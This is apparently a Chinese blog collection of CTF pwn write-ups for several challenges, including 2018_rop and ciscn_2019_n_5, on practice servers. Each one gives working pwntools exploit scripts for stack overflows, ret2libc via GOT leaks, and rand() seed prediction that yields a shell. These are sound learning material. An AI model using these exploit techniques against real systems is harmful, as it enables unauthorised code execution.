---
![](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304291826344.jpg)

---

### file & checksec

老规矩，先查看ELF文件：

![image-20230405013306025](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241747469.png)

可以看到，文件为32位可执行动态链接文件，并且保护只开了NX

结合题目也可以知道这题就是简单的rop

### IDA

用ida查看反汇编和伪代码：

主函数：

![image-20230405013800604](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241744111.png)

be_nice_to_people:

![image-20230405013838458](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241744691.png)

vulnerable_function:

![image-20230405013917081](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241744217.png)

可以看出该程序其实非常简单，其漏洞一眼便知：

***read(0,buf,0x100u);***,该函数允许往buf中写入0x100字节的数据，而buf实际在栈空间中的偏移则为0x88，所以仍有0x78字节可以溢出。

### 泄露libc

知道栈溢出之后，便可以泄露libc地址了

可以通过*** getegid***，***read***，***write***三个函数的got表地址进行泄露libc，这里我选择的是getegid。

---

### exp

```python
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='i386',os='linux')

io = remote('node4.buuoj.cn',29539)
elf = ELF('./2018_rop')

gid_got = elf.got['getegid']
write_plt = elf.plt['write']
main=elf.symbols['main']

payload = b'a'*(0x88+0x4)+p32(write_plt)+p32(main)+p32(0x0)+p32(gid_got)+p32(0x4) #p32(0x0)和p32(0x4)分别为write函数的第一和第三个参数，表示标准输入流和输入字节数（一定要p32加包）。
io.sendline(payload)

gid_addr = u32(io.recv(4)) #接收gid_got地址

print(hex(gid_addr))

libc=LibcSearcher('getegid',gid_addr)

libc_base = gid_addr - libc.dump('getegid')
system= libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
print(hex(system))
print(hex(binsh))
payload1 = b'a'*(0x88+0x4)+ p32(system)+p32(main)+p32(binsh)
io.sendline(payload1)

#io.sendline(b'cat flag')
io.interactive()

```

---

### FLAG

![image-20230405015814377](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241745272.png)

选择正确的libc版本：

![image-20230405015840844](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241745010.png)


> 作者新手一枚，文章如有错误还请多多包涵。如果各位Dalao能够指出错误，那就再好不过了，红豆泥私密马赛！

铁人三项(第五赛区)_2018_rop

## 广东海洋大学新生赛第三题：真男人下120层



### 例行检查：

![image-20230419185211107](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304191852217.png)

该程序是64位，开启了canary和NX保护；



所以这里先拖进ida看看：

![image-20230419185604432](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304191856495.png)

这就是函数主体部分，可以看到开始**v3 = time（0）srand（v3）**这里用了时间做随机数的种子，但之后又调用了**v4 = rand();srand(v4 % 3 - 1522127470);**也就是说其实真正随机数的种子只需要看后一个srand就可以了。

而且后一个srand用了%的原因，它的种子只可能是0，1，2这三个数再减去后面那个，也就是只有三种可能。（这里是因为实际上计算机生成随机数是伪随机数是用算法得出的，只要种子一定，那么每次出来的随机数是固定的。）

所以我们只需要连续120词使得rand % 4 +1 =v6就可以getshell。接下来就只需要进行爆破了。

知道了这个，我么就可以开始写脚本了。

```python
from pwn import*
from ctypes import*
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','split','-h'])
#io = remote('node5.anna.nssctf.cn',28927)
io=process('./bin')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
a = libc.srand(libc.time(0))
b = libc.rand(a)
c= libc.srand(b % 3 - 1522127470)
for i in range(1,121):
    io.sendlineafter(b'Floor',str(libc.rand(c)%4+1))

io.interactive()
```

### exp详解

这里的from ctypes import*实际上是在python里调用c函数，因为后面要模仿源程序中的方法进行爆破。

* libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') 调用c函数库，确保后面可以使用c函数。
* a = libc.srand(libc.time(0))
  b = libc.rand(a)
  c= libc.srand(b % 3 - 1522127470)这一段实际上就是对源程序的仿写。
* 下一步就是120次爆破了

![image-20230419190646900](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304191906964.png)

这里其实是已经拿到了，只不过本地没有文件所以没有flag。

### 总结

这题确实很好玩，有意思。第一次遇到srand和rand这样的伪随机数函数的做法。
> 作者新手一枚，文章如有错误还请多多包涵。如果各位Dalao能够指出错误，那就再好不过了，红豆泥私密马赛！

广东海洋大学新生赛第三题：真男人下120层

pwnner

例行检查：



![image-20230424190039980](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241900069.png)

![image-20230424190053078](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241900153.png)

很明显是64位动态链接文件，ida查看：

![image-20230424190215702](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241902767.png)

这里很明显又是一道伪随机数题，不过比之前那一道更简单了一些：

```python
from pwn import*
from ctypes import*

io = remote('node5.anna.nssctf.cn',28114)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
buf = libc.rand(libc.srand(0x39))
io.sendlineafter(b'name:\n',str(buf))

getshell = 0x04008B6

payload = b'a'*(0x48)+p64(getshell)

io.sendline(payload)
io.interactive()
```

还是调用c函数库，直接照搬原题复刻伪随机数：

`buf = libc.rand(libc.srand(0x39))`

后面就是简单的栈溢出。
> 作者新手一枚，文章如有错误还请多多包涵。如果各位Dalao能够指出错误，那就再好不过了，红豆泥私密马赛！

pwnner

#### ciscn_2019_n_5

#### 背景知识：

##### ret2shellcode：



即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码，常见的功能主要是获取目标系统的 shell。**一般来说，shellcode 需要我们自己填充。这其实是另外一种典型的利用方法，即此时我们需要自己去填充一些可执行的代码**。

在栈溢出的基础上，要想执行 shellcode，需要对应的 binary 在运行时，shellcode 所在的区域具有可执行权限。

##### ret2libc：

ret2libc 即控制函数的执行 libc 中的函数，通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下，我们会选择执行 system("/bin/sh")，故而此时我们需要知道 system 函数的地址。

一般有三种：

1.程序中既有system也有‘/sh’

2.只有system或者‘sh’

3.两个都没有



下面这题是第三种：

那么我们如何得到 system 函数的地址呢？这里就主要利用了两个知识点

- system 函数属于 libc，而 libc.so 动态链接库中的函数之间相对偏移是固定的。

- 即使程序有 ASLR 保护，也只是针对于地址中间位进行随机，最低的 12 位并不会发生改变。

- 所以如果我们知道 libc 中某个函数的地址，那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

  那么如何得到 libc 中的某个函数的地址呢？我们一般常用的方法是采用 got 表泄露，即输出某个函数对应的 got 表项的内容。**当然，由于 libc 的延迟绑定机制，我们需要泄漏已经执行过的函数的地址**。

来自buuctf：

首先检查：

![简单图床-EasyImage](pwn.assets/zcm85r.jpg)

发现是64位，一个保护都没开。所以这里我用了两种做法：1.ret2shellcode    2.ret2libc



##### 1.ret2shellcode

先将程序拖进ida64查看反汇编：

![简单图床-EasyImage](pwn.assets/zcmbsg.jpg)

查看name：

![image-20230402180926847](C:\Users\胡宜凯\AppData\Roaming\Typora\typora-user-images\image-20230402180926847.png)

可以知道**name**在bss段，并且有64字节可写，于是我们可以往bss段写入shellcode，再用**gets(text)**返回bss段执行**shellcode**。

这里我们可以用gdb调试，用vmmap命令查看bss段权限，我查看是有可执行权限的。

所以有**exp**：

![image-20230402181618672](C:\Users\胡宜凯\AppData\Roaming\Typora\typora-user-images\image-20230402181618672.png)

得到**flag**：

![image-20230402181724035](C:\Users\胡宜凯\AppData\Roaming\Typora\typora-user-images\image-20230402181724035.png)

***successful***

##### 2.ret2libc

查看反汇编：

![image-20230402181847339](C:\Users\胡宜凯\AppData\Roaming\Typora\typora-user-images\image-20230402181847339.png)

可知gets处有漏洞可以利用

于是我们有以下思路：

**1.**由于puts已经被调用过，所以**puts**函数的got表中存放的已经是libc中的真实地址，又由于4kb页对齐原理，根据函数地址末三位可以泄露出libc的版本，从而获取**system**和**\bin\sh**的真实地址。

```python
from pwn import*
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
io=remote('node4.buuoj.cn',25388)
#io= process('./ciscn_2019_n_5')
#host = 'node4.buuoj.cn'
#port = 25388
elf = ELF('./ciscn_2019_n_5')

puts_plt = elf.plt['puts']   
puts_got = elf.got['puts']
main = elf.symbols['main']
pop_rdi = 0x0400713
ret = 0x04004c9

payload_rab = b'a'											
io.sendlineafter(b'tell me your name\n',payload_rab)  
#此处**read**函数用不到所以随意填充垃圾数据
#gdb.attach(io)
payload1=b'a'*(0x20+8)+flat([pop_rdi,puts_got,puts_plt,main])  #通过rdi寄存器传参，将**puts**函数的got表地址打印出来
io.sendlineafter(b'What do you want to say to me?\n',payload1)
puts_addr = u64(io.recv()[:6].ljust(8,b'\x00'))  
#接收**puts**函数的真实地址(及上面打印出的got表地址)
                                              
print(hex(puts_addr))                              
#u64(io.recv(6)[:-1].ljust(8,b'\x00'))                                              
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)      
#利用LibcSearcher工具查询libc版本
```



这里要注意一点，我一开始接受真实地址用的是  **puts_addr = u64(io.recv(6)[:-1].ljust(8,b'\x00'))**接收，一直报错，*timeout: the monitored command dumped core\n' timeout: the monitored command dumped core'*并且说连接不到端口，整了半天。实际上还是我对于recv()这条命令不了解

 **puts_addr = u64(io.recv(6)[:-1].ljust(8,b'\x00'))**表示接受6字节长度，并将其切片，删掉最后一个字节，左对齐用0补齐。这样就会导致接收到的**puts**的got表地址变化，从而报错。

泄露libc版本之后就好写了：

```python
libc_base = puts_addr - libc.dump('puts')   
#**计算基地址**
print(hex(libc_base))
system = libc_base + libc.dump('system')   
#**通过基地址和偏移地址算出system的真实地址**
print(hex(system))
binsh = libc_base + libc.dump('str_bin_sh')   
#**同上**
print(hex(binsh))
io.sendline(payload_rab)
#gdb.attach(io)
payload2=b'a'*(0x20+8)+ flat([pop_rdi,binsh,ret,system])  //此处要加一个**ret**进行栈平衡，原因没了解之后会去细看，大致就是因为ubuntu18上的在调用system函数时都要进行栈平衡，防止栈顶被破坏，导致程序崩溃
io.sendline(payload2)

io.interactive()
```



运行之后：

![image-20230402202536850](C:\Users\胡宜凯\AppData\Roaming\Typora\typora-user-images\image-20230402202536850.png)

选择‘0‘。

成功拿到shell：

![image-20230402202628954](C:\Users\胡宜凯\AppData\Roaming\Typora\typora-user-images\image-20230402202628954.png)

flag：

![image-20230402202643138](C:\Users\胡宜凯\AppData\Roaming\Typora\typora-user-images\image-20230402202643138.png)

ret2libc总结：

- 泄露 puts 地址
- 获取 libc 版本
- 获取 system 地址与 /bin/sh 的地址
- 再次执行源程序
- 触发栈溢出执行 system(‘/bin/sh’)

​                                  
> 作者新手一枚，文章如有错误还请多多包涵。如果各位Dalao能够指出错误，那就再好不过了，红豆泥私密马赛！

ret2libc & shellcode

### 简单栈溢出

例行检查：



![image-20230413201028992](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304132019354.png)

这里只开启了NX保护

---

这里复习以下NX保护：

NX即No-eXecute（不可执行）的意思，NX（DEP）的基本原理是将数据所在[内存](https://so.csdn.net/so/search?q=内存&spm=1001.2101.3001.7020)页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。

---

这里用64位ida查看：

![image-20230413201805871](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304132019337.png)

可以看到这里v4的偏移为0x88，而read函数限制0x100字节，很明显可以进行溢出。

**【注意】 **：这里有一个坑，点进v4里查看栈空间会发现这里并没有一个s，也就是保存pre-ebp的地方，只有一个返回地址

![image-20230413202203216](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304132022257.png)

这里可以查看汇编：

 ![image-20230413202252380](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304132022424.png)

这里并没有利用leave指令进行恢复指针，而leave指令的意思是：*** mov rsp，rbp | pop rbp ***

![image-20230413203346003](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304132033048.png)

这里对比两个汇编就可以清楚：

第一个：开辟空间是利用sub，而第二个是先进行 push rbp，然后 mov rbp，rsp，这里有一个压rbp的操作，而第一个没有，所以可以知道这里没有rbp需要覆盖。

所以我们可以构造paylaod 

```python
from pwn import*

io = remote('node4.buuoj.cn',26519)

io.recvuntil(b':\n')

addr = 0x0400620
payload = b'a'*0x88+p64(addr)

io.sendline(payload)
io.send(b'0xff')

io.interactive()

```


> 作者新手一枚，文章如有错误还请多多包涵。如果各位Dalao能够指出错误，那就再好不过了，红豆泥私密马赛！